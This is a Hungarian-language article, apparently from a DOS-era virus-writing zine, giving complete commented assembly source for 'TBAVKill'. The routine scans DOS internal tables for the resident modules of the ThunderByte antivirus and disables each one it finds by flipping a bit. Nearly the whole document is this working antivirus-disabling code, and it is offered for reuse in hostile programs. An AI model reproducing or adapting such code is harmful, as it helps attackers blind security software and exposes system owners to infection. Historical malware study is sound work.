TBAV rezidens részeinek "gyilkolása"

    Ajánlom a könyebb érthetõség kedvéért, elõször olvasd el a "TbMon disszaszembly" címû cikket, ha eddig még nem tetted. Ez a program lényegében ugyan az mint a fent említett cikkben elemzett program, csak ez azon  túl hogy optimizálva van, még a talált TBAV rezidens programokat is de-aktivizálja. A program de-aktivizáló része igen egyszerû. A rezidens program FCB-jének 16h-odik byte-jának utolsó bitjét 1-esre kell állítani. Ezt példaul így oldhatod meg: or byte ptr es:[16h],1
És kész...

Formater [FCF]
 

; TBAVKill.asm
code    segment
        assume  cs:code,ds:code
        org     100h

start:  call    Kill_AV                 ; Meghívjuk a TBAV gyilkoló rutint
        xor     ax,ax                   ; ax=0
        int     20h                     ; Kilépünk

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                             TBAV Killer rutin
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

TBAVKill proc     near

Tbname   db       'TBMEMXXX','TBCHKXXX'   ; A TBAV rezidens részeinek nevei
         db       'TBDSKXXX','TBFILXXX'   ;
         db       'SCANX   '

Kill_AV:push    ax bx cx dx di ds es ; Elrakjuk a regisztereket
        push    cs                   ;\ cs-t a ds-be
        pop     ds                   ;/
        mov     ah,52h               ; Lekérjük a DOS adattábla címét
        int     21h
        les     bx,es:[bx+22h]       ; Kiolvassuk az elsõ FCB tábla címét
Search_Device:
        lea     si,[Tbname - 8 ]     ; Az si a nevek elé mutat 8 byte-al
        mov     cx,5                 ; összesen 5 TB rezidens program van
Search_Utility:
        push    cx                   ; Elrakjuk a cx-et
        add     si,8                 ; A következõ TB névre mutat
                                     ; (ezért kellet elõször Tbname-8 !!)
        lea     di,[bx+0ah]          ; A di a FCB tulaj nevére mutat
        mov     cl,4                 ; cl=4
        push    si                   ; Elrakjuk az si-t, mivel a cmpsw
                                     ; megváltoztatja
        repe    cmpsw                ; repe - megismétli az utánna következõ
                                     ; utasítást cx-szer
                                     ; cmpsw összehasonlítja a ds:si es:di
                                     ; értéket, majd a zero flag-et
                                     ; beállítja
        pop     si cx                ; visszállítjuk a si,cx-et
        loopne  Search_Utility       ; Ha nem egyeztek, vagy ha a cx még
                                     ; nem nulla akkor nezzük a következõ
                                     ; program nevét, de cx=cx-1
        jne     Next_Device          ; Ha nem azért jött ki a loop-ból,
                                     ; mert talált valamit, hanem csak vége
                                     ; lett (cx=0) akkor ugrik...
        or      byte ptr es:[16h],1  ; Itt a lényeg. Ha talált egy rezidens
                                     ; TB programot, akkor azt letiltja
Next_Device:
        les     bx,es:[bx]           ; A következõ FCB címének betöltése
        cmp     bx,-1                ; Utolsó FCB? (a 0FFFFh ugyan az mint a -1)
        jne     Search_Device        ; Nem az utolsó, akkor elemezzük
        pop     es ds di dx cx bx ax ; Vissza állítjuk a regisztereket
        retn                         ; Visszatér
        endp

code    ends
        end     start
; --- EOF ----